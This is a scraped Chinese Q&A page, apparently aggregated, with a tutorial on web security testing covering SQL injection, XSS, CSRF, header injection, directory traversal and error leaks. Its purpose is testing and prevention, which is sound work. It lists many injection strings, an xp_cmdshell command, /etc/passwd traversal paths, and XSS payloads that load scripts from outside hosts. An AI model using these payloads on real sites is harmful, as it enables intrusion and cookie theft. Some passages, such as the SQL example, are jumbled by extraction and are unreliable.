如何进行WEB安全性测试

作者&投稿:乌矩 (若有异议请与网页底部的电邮联系)
如何进行WEB安全性测试?~

  一般来说,一个WEB应用包括WEB服务器运行的操作系统、WEB服务器、WEB应用逻辑、数据库几个部分,其中任何一个部分出现安全漏洞,都会导致整个系统的安全性问题。
  对操作系统来说,最关键的操作系统的漏洞,Windows上的RPC漏洞、缓冲区溢出漏洞、安全机制漏洞等等;
  对WEB服务器来说,WEB服务器从早期仅提供对静态HTML和图片进行访问发展到现在对动态请求的支持,早已是非常庞大的系统。
  对应用逻辑来说,根据其实现的语言不同、机制不同、由于编码、框架本身的漏洞或是业务设计时的不完善,都可能导致安全上的问题。
  对WEB的安全性测试是一个很大的题目,首先取决于要达到怎样的安全程度。不要期望网站可以达到100%的安全,须知,即使是美国国防部,也不能保证自己的网站100%安全。对于一般的用于实现业务的网站,达到这样的期望是比较合理的:
  1、能够对密码试探工具进行防范;
  2、能够防范对cookie攻击等常用攻击手段;
  3、敏感数据保证不用明文传输;
  4、能防范通过文件名猜测和查看HTML文件内容获取重要信息;
  5、能保证在网站收到工具后在给定时间内恢复,重要数据丢失不超过1个小时;

用MicroFocus的Fortify来测试呀,它可以检测出你的web里面有没有存在的漏洞,挺实用的。

  安全性测试主要从以下方面考虑 主要从以下方面考虑: WEB 的安全性测试主要从以下方面考虑: Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何进行 SQL 注入测试? 首先找到带有参数传递的 URL 页面,如 搜索页面,登录页面,提交评论页面等等. 注 1:对 于未明显标识在 URL 中传递参数的,可以通过查看 HTML 源代码中的 "FORM"标签来辨别是否还有参数传递.在<FORM> 和</FORM>的标签中间的每一个 参数传递都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 参数或表单中加入某些特殊的 SQL 语句或 SQL 片断,如在登 录页面的 URL 中输入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1:根据实际情况,SQL 注入请求可以使用以下语句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2:为什么是 OR, 以及',――是特殊的字符呢? 例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password' 如 输入 http://duck/index.asp?username=admin' admin' or 1='1&pwd=11,SQL 语句会变成以下:sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将 按下一个查询条件来执行. 接 下来是 OR 查询条件,OR 是一个逻辑运 算符, 在判断多个条件的时候, 只要一 个成立,则等式就成立,后面的 AND 就不再时行判断了,也就是 说我们绕过了密码 验证,我们只用用户名就可以登录. 如 输入 http://duck/index.asp?username=admin'--&pwd=11,SQL 语 admin'-admin'-11 句会 变成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '与 admin 前面的'组成了一个查 询条件,即 username='admin',接下来的语句将按 下一个查询条件来执行 接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验 证(注:对 ACCESS 数据库 数据库无 效). 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如 果 能说明存在 SQL 安 全漏洞. 试想,如果网站存在 SQL 注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结 构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的. (2)如何预防 SQL 注入? 从应用程序的角度来讲,我们要做以下三项工作 工作: 工作 转义敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”, 和”空格”). 屏蔽出错信息:阻止攻击者知道攻击的结果 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关 键性的处理操作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将 安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验 以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就 是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序 应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.Crossscritping(XSS):(跨站点脚本攻击 跨站点脚本攻击) 2.Cross-site scritping(XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? <!--[if !supportLists]-->首先,找到带有参数传递的 URL,如 交评论,发表留言 页面等等。 登录页面,搜索页面,提 <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试: <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 测试语句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale&#x <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最后,当用户浏览 时便会弹出一个警告框,内容显示的是浏览者当前的 cookie 串,这就 说明该网站存在 XSS 漏洞。 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚 本,当用户浏览此帖时,cookie 信息就可能成功的被 攻击者获取。此时浏览者的帐号 就很容易被攻击者掌控了。 (2)如何预防 XSS 漏洞? 从应用程序的角度来讲,要进行以下几项预防: 对 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 语句或脚本进行转义. 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关 键性的处理操作. 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成 XSS 检查: 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进 行验证,着重验证是否对 HTML 或脚本代码进行了转义。 执行测试过程中也应对上述项进行检查。 3.CSRF:(跨站点伪造请求) 3.CSRF:(跨站点伪造请求) CSRF:(跨站点伪造请求 CSRF 尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,并且攻击方式 几乎相左。 XSS 是利用站点内的信任用户,而 CSRF 则通过伪装来自受信任用户的请求 来利用受信任的网站。 XSS 也好, CSRF 也好, 它的目的在于窃取用户的信息, SESSION 和 COOKIES 如 (关于 SESSION 和 COOKIES 的介绍请参见我的另一篇 BLOG: http://www.51testing.com/?49689/action_viewspace_itemid_74885.html), (1)如何进行 CSRF 测试? 关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。 (2)如何预防 CSRF 漏洞? 请参见 http://www.hanguofeng.cn/archives/security/preventing-csrf 请 参见 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(邮件标头注入 邮件标头注入) 4.Email Header Injection(邮件标头注入) Email Header Injection:如果表单用于发送 email,表单中可能包括 “subject”输入项(邮件标题),我们要验证 subject 中应能 escape 掉“\n” 标识。 <!--[if !supportLists]--><!--[endif]-->因为“\n”是新行,如果在 subject 中输入“hello\ncc:spamvictim@example.com”,可能会形成以 下 Subject: hello cc: spamvictim@example.com <!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的 其它用 subject, 那他可能会给利用这个缺陷通过我们的平台给其它 户发送垃 其它 圾邮件。 Traversal(目录遍历 目录遍历) 5.Directory Traversal(目录遍历) (1)如何进行目录遍历测试? 目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之 类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的 任意文件。 测试方法: URL 中输入一定数量的 在 “../” “./” 验证系统是否 ESCAPE 和 , 掉了这些目录跳转符。 (2)如何预防目录遍历? 限制 Web 应用在服务器上的运行 进 行严格的输入验证,控制用户输入非法路径 messages(错误信息 错误信息) 6.exposed error messages(错误信息) (1)如何进行测试? 首 先找到一些错误页面,比如 404,或 500 页面。 验证在调试未开通过的情况下, 是否给出了友好的错误提示信息比如“你 访问的页面不存 在”等,而并非曝露一些程序代码。 (2)如何预防? 测试人员在进行需求检查时,应该对出错信息 进行详细查,比如是否给 出了出错信息,是否给出了正确的出错信息。


如何进行Web应用的安全测试和输入校验
下面这几个注意事项或许可以帮你一些 1. 找到Web应用所有的输入点,找到所有的能接受用户输入的地方,漏掉输入点也就漏掉了可能存在的缝。2. 过滤每一个输入点,为每个输入点设定相应的校验规则和边界。3. 不要忘记校验哪些隐藏域,cookie和url参数。4. 验证从数据库里面得到的数据,这个是最容易忽视...

Web浏览器存在哪些安全隐患?如何保证Web浏览器的安全?
3、IE的Cookie Cookie,我们已经介绍过多次了,它可不仅仅是小甜饼哦!可以通过设置不同的安全级别来限制Cookie的使用。如果要彻底删除Cookie,可将目录“Windowscookies”下的所有文件全部删除,这样就可有效保护你的个人隐私了。当然使用个人防火墙也可以对Cookie的允许、提示、禁止等功能的进行使用限制。4、...

WEB安全研究-文献综述
WEB安全研究 金丽君 摘要:本文主要针对WEB安全问题越来越引起人们的重视这一现状,初步地介绍了国内外对WEB安全问题的研究现状,全面地介绍和分析了WEB服务和应用中存在的各种威胁,并探讨了WEB安全问题的防护对策,来提高计算机网络的安全性。关键词:WEB安全、安全威胁、安全防护 Abstract:This article will...

证书与iis结合实现web站点的安全性的核心步骤是什么?
以Windows NT的安全机制为基础 作为运行在 Windows NT操作系统环境下的IIS,其安全性也应建立在Windows NT安全性的基础之上。1.应用NTFS文件系统 NTFS可以对文件和目录进行管理,而FAT(文件分配表)文件系统只能提供共享级的安全,建议在安装Windows NT时使用NTFS系统。2.共享权限的修改 在缺省情况下,每...

Web中使用的安全协议有哪些?
3. HTTPS(HTTP Secure)协议:HTTPS是建立在SSL或TLS协议基础上的安全HTTP协议,用于保护Web应用程序与服务器之间的通信安全。这些安全协议都是通过建立安全的数据传输通道,使用数字证书进行身份认证和数据加密等功能来确保Web应用程序的数据传输安全性。在进行网上银行、网上购物等对数据安全性要求较高的业务...

如何提高对基于WEB网页用户登录信息的安全性
首先必须采用基于SSL的HTTPS协议代替HTTP协议 然后,可以采用一次性密码、token生成器、usb证书等手段实现双因素认证 以token生成器为例,登陆界面提示用户一串随机数,输入token生成器,运算生成认证码,登陆输入用户名,密码及认证码,验证无误才能进入系统 ...

webservice的安全性有哪些?
楼上的纯属扯淡,保证服务器安全和webservice安全有毛关系啊,要想webservice安全首先要确保webservice传输过程中数据的安全和数据的正确性,数据可以使用特定的加密格式,然后在获取到请求时进行解密比对,webservice还可以对请求方的身份进行认证,可以使用 WS-Security,其原理就是往soap里加东西,然后服务器...

Linux下的Web服务器。如何提高安全,防止为了保证安全性,受到攻击?
如果发生系统文件已经被破坏的情况,也可以使用系统备份来恢复到正常的状态。备份信息时,我们可以把完好的系统信息备份在CD-ROM光盘上,以后 可以定期将系统与光盘内容进行比较以验证系统的完整性是否遭到破坏。如果对安全级别的要求特别高,那么可以将光盘设置为可启动的并且将验证工作作为系统启 动过程的一...

webservice怎么安全验证
访问安全性:当前访问者是注册合法用户 通信安全性:客户端与服务器之间的消息即使被第三方窃取也不能解密 本文安全的基本思路是:注册用户登录时使用RSA加密 Web API调用参数使用DES加密(速度快)Web API调用中包含一个身份票据Ticket Web服务器保存当前Ticket的Session,包括:Ticket、DES加密矢量、注册用户...

web网站安全策略 如何写
设置web服务器访问控制规则:通过IP,子网,域名来控制;通过口令控制;使用公用密钥加密算法;设置web服务器目录权限;关闭安全性脆弱的web服务器功能例如:自动目录列表功能;符号连接等 谨慎组织web服务器的内容:链接检查;CGI程序检测(如果采用此技术);定期对web服务器进行安全检查;辅助工具:SSH;文件系统完整性...

屏南县19724992556: web应用安全应该怎么测试呢? -
韩衫奥莎: WEB安全测试通常要考虑的测试点 WEB测试 1、问题:没有被验证的输入 测试方法: 数据类型(字符串,整型,实数,等) 允许的字符集 最小和最大的长度 是否允许空输入 参数是否是必须的 重复是否允许 数值范围 特定的值(枚举型) 特定...

屏南县19724992556: 如何进行WEB安全性测试 -
韩衫奥莎: 一般来说,一个WEB应用包括WEB服务器运行的操作系统、WEB服务器、WEB应用逻辑、数据库几个部分,其中任何一个部分出现安全漏洞,都会导致整个系统的安全性问题.对操作系统来说,最关键的操作系统的漏洞,Windows上的RPC...

屏南县19724992556: 如何进行Web应用的安全测试和输入校验 -
韩衫奥莎: 下面这几个注意事项或许可以帮你一些1. 找到Web应用所有的输入点,找到所有的能接受用户输入的地方,漏掉输入点也就漏掉了可能存在的缝.2. 过滤每一个输入点,为每个输入点设定相应的校验规则和边界.3. 不要忘记校验哪些隐藏域,...

屏南县19724992556: 如何检测Web系统里的安全漏洞? -
韩衫奥莎: Internet的开放性使得Web系统面临入侵攻击的威胁,而建立一个安全的Web系统一直是人们的目标.一个实用的方法是,建立比较容易实现的相对安全的系统,同时按照一定的安全策略建立相应的安全辅助系统,漏洞扫描器就是这样一类安全...

屏南县19724992556: 网站测试步骤是什么? -
韩衫奥莎: 三步测试: 一、 制作者测试:页面和功能 二、 全面测试 三、 发布测试 测试的主要方面: 一、功能测试 1、链接测试 ①测试所有链接是否按指示的那样确实链接到了该链接的页面 ②测试所链接的页面是否存在 ③测试链接的正确性的工具 2、...

屏南县19724992556: 如何进行web渗透测试 -
韩衫奥莎: 渗透测试的两大阶段渗透测试不能测试出所有可能的安全问题,它只是一个特定环境下才合适的WEB应用安全测试技术.OWASP的渗透测试方法是基于墨盒方法的,测试人员在测试前不知道或只知道很有限的关于被测试应用的信息.渗透测...

屏南县19724992556: 如何保证Web服务器安全? -
韩衫奥莎: 一、在代码编写时就要进行漏洞测试.二、对Web服务器进行持续的监控.三、设置蜜罐,将攻击者引向错误的方向.四、专人对Web服务器的安全性进行测试.在Web服务器的攻防战上,这一个原则也适用.笔者建议,如果企业对于Web服...

屏南县19724992556: 软件测试,如何测试网站的安全性呢 -
韩衫奥莎: 用户认证安全的测试要考虑问题:1. 明确区分系统中不同用户权限2. 系统中会不会出现用户冲突3. 系统会不会因用户的权限的改变造成混乱4. 用户登陆密码是否是可见、可复制5. 是否可以通过绝对途径登陆系统(拷贝用户登陆后的链接直...

屏南县19724992556: 从哪些方面测试一个Web网站 -
韩衫奥莎: 1、功能测试;2、 界面测试;3、易用性测试;4、兼容性测试;5、链接测试;6、业务流程测试;7、安全性测试

屏南县19724992556: web安全测试 主要测试哪些内容 -
韩衫奥莎: 软件安全测试按照测试点又细分了很多分支,而今天我们要讲的是安全测试之最常见的页面脚本攻击.脚本攻击有多种方式,今天给大家讲几种最常见的场景也是很多网站容易忽略测试的情况<br>第一种,在页面的输入框中植入一段js(javascript...

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网